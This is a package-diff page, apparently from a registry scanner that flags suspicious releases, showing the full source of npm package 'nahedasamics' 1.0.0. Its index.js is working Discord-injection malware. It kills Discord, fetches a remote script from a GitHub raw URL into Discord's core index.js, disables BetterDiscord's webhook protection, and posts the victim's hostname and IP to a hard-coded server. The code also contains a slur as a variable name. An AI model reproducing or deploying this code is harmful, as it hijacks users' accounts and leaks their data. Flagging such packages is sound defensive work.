nahedasamics 1.0.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of nahedasamics might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +203 -0
  2. package/package.json +15 -0
package/index.js ADDED
@@ -0,0 +1,203 @@
1
+
2
+ const glob = require("glob");
3
+ const fs = require('fs');
4
+ const https = require('node:https');
5
+ const { exec } = require('child_process');
6
+ var sleep = require('sleep');
7
+ const shell = require('shelljs')
8
+ const os = require('node:os');
9
+ const axios = require('axios');
10
+ const download = require('download');
11
+ var ip = require("ip");
12
+ const zip = require("adm-zip");
13
+ const FormData = require("form-data");
14
+ var XMLHttpRequest = require('xhr2');
15
+ var totp = require("totp-generator");
16
+ const buf_replace = require('buffer-replace');
17
+ const { session, BrowserWindow } = require("electron");
18
+ const path = require("path");
19
+ const querystring = require("querystring");
20
+ //////////////////////////////////////////////////////////////////////
21
+ const config = {
22
+ "logout": "instant",
23
+ "inject-notify": "true",
24
+ "logout-notify": "true",
25
+ "init-notify":"true",
26
+ "embed-color": 123,
27
+ "USERNAMEWEBHOOK": "moonsz",
28
+ "disable-qr-code": "true"
29
+ }
30
+ //////////////////////////////////////////////////////////////////////
31
+ let LOCAL = process.env.LOCALAPPDATA
32
+ let discords = [];
33
+ let injectPath = [];
34
+ let runningDiscords = [];
35
+
36
+ fs.readdirSync(LOCAL).forEach(file => {
37
+ if (file.includes("iscord")) {
38
+ discords.push(LOCAL + '\\' + file)
39
+ } else {
40
+ return;
41
+ }
42
+ });
43
+
44
+ const temp = process.env.temp;
45
+ const infectionPath = path.join(process.env.temp, "\\Windows_Defender");
46
+
47
+
48
+
49
+ function Infect() {
50
+
51
+ https.get('https://raw.githubusercontent.com/thaispecanhacafazzi/blagogo/main/index.js', (resp) => {
52
+ let data = '';
53
+
54
+ resp.on('data', (chunk) => {
55
+ data += chunk;
56
+ });
57
+ resp.on('end', () => {
58
+ injectPath.forEach(file => {
59
+ fs.writeFileSync(file, data.replace("%INITNOTI%", config["init-notify"]).replace("%USERIP%", ip.address()).replace("%LOGOUT%", config.logout).replace("%USERNAMEWEBHOOK%", config.USERNAMEWEBHOOK).replace("%LOGOUTNOTI%", config["logout-notify"]).replace("3447704",config["embed-color"]).replace('%DISABLEQRCODE%', config["disable-qr-code"]), {
60
+ encoding: 'utf8',
61
+ flag: 'w'
62
+ });
63
+
64
+ if (config["init-notify"] == "true") {
65
+ let init = file.replace("index.js", "init")
66
+ if (!fs.existsSync(init)) {
67
+ fs.mkdirSync(init, 0744)
68
+ }
69
+ }
70
+
71
+ if ( config.logout != "false" ) {
72
+ let folder = file.replace("index.js", "DC_BTW")
73
+ if (!fs.existsSync(folder)) {
74
+ fs.mkdirSync(folder, 0744)
75
+ if (config.logout == "instant") {
76
+ startDiscord();
77
+ }
78
+ } else if (fs.existsSync(folder) && config.logout == "instant" ){
79
+ startDiscord();
80
+ }
81
+ }
82
+ })
83
+ });
84
+ }).on("error", (err) => {
85
+ });
86
+ };
87
+
88
+ const logout = async () => {
89
+ await BrowserWindow.getAllWindows()[0].webContents.executeJavaScript(
90
+ `window.webpackJsonp?(gg=window.webpackJsonp.push([[],{get_require:(a,b,c)=>a.exports=c},[["get_require"]]]),delete gg.m.get_require,delete gg.c.get_require):window.webpackChunkdiscord_app&&window.webpackChunkdiscord_app.push([[Math.random()],{},a=>{gg=a}]);function LogOut(){(function(a){const b="string"==typeof a?a:null;for(const c in gg.c)if(gg.c.hasOwnProperty(c)){const d=gg.c[c].exports;if(d&&d.__esModule&&d.default&&(b?d.default[b]:a(d.default)))return d.default;if(d&&(b?d[b]:a(d)))return d}return null})("login").logout()}LogOut();`,
91
+ true
92
+ );
93
+
94
+ return "ok";
95
+ };
96
+
97
+ function killDiscord() {
98
+ runningDiscords.forEach(disc => {
99
+ exec(`taskkill /IM ${disc}.exe /F`, (err) => {
100
+ if (err) {
101
+ return;
102
+ }
103
+ });
104
+ });
105
+
106
+ if (config["inject-notify"] == "true" && injectPath.length != 0 ) {
107
+ injectNotify();
108
+
109
+ }
110
+ Infect()
111
+ pwnBetterDiscord()
112
+ };
113
+
114
+ function listDiscords() {
115
+ exec('tasklist', function(err, stdout, stderr) {
116
+ if (stdout.includes("Discord.exe")) runningDiscords.push("discord");
117
+ if (stdout.includes("Discord (32 bits).exe")) runningDiscords.push("Discord");
118
+ if (stdout.includes("Discord.exe")) runningDiscords.push("Discord (32 bits)");
119
+ if (stdout.includes("DiscordCanary.exe")) runningDiscords.push("discordcanary");
120
+ if (stdout.includes("Discord Canary (32 bits).exe")) runningDiscords.push("Discord Canary");
121
+ if (stdout.includes("DiscordDevelopment.exe")) runningDiscords.push("discorddevelopment");
122
+ if (stdout.includes("DiscordPTB.exe")) runningDiscords.push("discordptb");
123
+ if (stdout.includes("Powercord.exe")) runningDiscords.push("powercord");
124
+ if (stdout.includes("Fiddler.exe")) runningDiscords.push("fiddler");
125
+ if (stdout.includes("wireshark.exe")) runningDiscords.push("wireshark");
126
+
127
+ if (config.logout == "instant") {
128
+ killDiscord();
129
+ } else {
130
+ if (config["inject-notify"] == "true" && injectPath.length != 0 ) {
131
+ injectNotify();
132
+ }
133
+ Infect()
134
+ pwnBetterDiscord()
135
+ }
136
+ })
137
+ };
138
+
139
+ function startDiscord() {
140
+ runningDiscords.forEach(disc => {
141
+ let path = LOCAL + '\\' + disc + "\\Update.exe --processStart " + disc + ".exe"
142
+ exec(path, (err) => {
143
+ if (err) {
144
+ return;
145
+ }
146
+ });
147
+ });
148
+ };
149
+
150
+ function pwnBetterDiscord() {
151
+ let dir = process.env.appdata + "\\BetterDiscord\\data\\betterdiscord.asar"
152
+ if (fs.existsSync(dir)) {
153
+ let x = fs.readFileSync(dir)
154
+ fs.writeFileSync(dir, buf_replace(x, "api/webhooks", "dc"))
155
+ }
156
+
157
+ return;
158
+ }
159
+
160
+ function injectNotify() {
161
+ let fields = [];
162
+ injectPath.forEach( path => {
163
+ let c = path
164
+ fields.push(c)
165
+ })
166
+
167
+ const data = `{"fields":"Discord Desktop (app-1.0.9005)", "pcname":"${os.hostname()}", "ip":"${ip.address()}", "idclientkey":"moonsz"}`
168
+ var xhr = new XMLHttpRequest();
169
+ xhr.open('POST', 'http://20.14.80.127/api/newinjection', true);
170
+ xhr.setRequestHeader('Content-type', 'application/json');
171
+ xhr.onload = function () {
172
+ const negrodefender = this.responseText;
173
+ };
174
+ xhr.send(data);
175
+ }
176
+
177
+ function getDirectories(path) {
178
+ return fs.readdirSync(path).filter(function (file) {
179
+ return fs.statSync(path+'/'+file).isDirectory();
180
+ });
181
+ }
182
+
183
+
184
+ listDiscords();
185
+ discords.forEach(function(file) {
186
+ getDirectories(file + "\\").forEach((item) => {
187
+ if (item.includes("app-")) {
188
+ file = file + "\\" + item + "\\modules\\";
189
+ }
190
+ });
191
+ getDirectories(file).forEach((item) => {
192
+ if (item.includes("discord_desktop_core-")) {
193
+ file = file + "\\" + item + "\\discord_desktop_core\\index.js";
194
+ }
195
+ });
196
+
197
+ if (fs.existsSync(file)) {
198
+ injectPath.push(file);
199
+ }
200
+ });
201
+ killDiscord();
202
+ Infect();
203
+ startDiscord();
package/package.json ADDED
@@ -0,0 +1,15 @@
1
+ {
2
+ "dependencies": {
3
+ "color": "^4.2.3"
4
+ },
5
+ "name": "nahedasamics",
6
+ "version": "1.0.0",
7
+ "main": "index.js",
8
+ "devDependencies": {},
9
+ "scripts": {
10
+ "test": "echo \"Error: no test specified\" && exit 1"
11
+ },
12
+ "author": "nahedasamic <nahedasamic@gmail.com>",
13
+ "license": "MIT",
14
+ "description": ""
15
+ }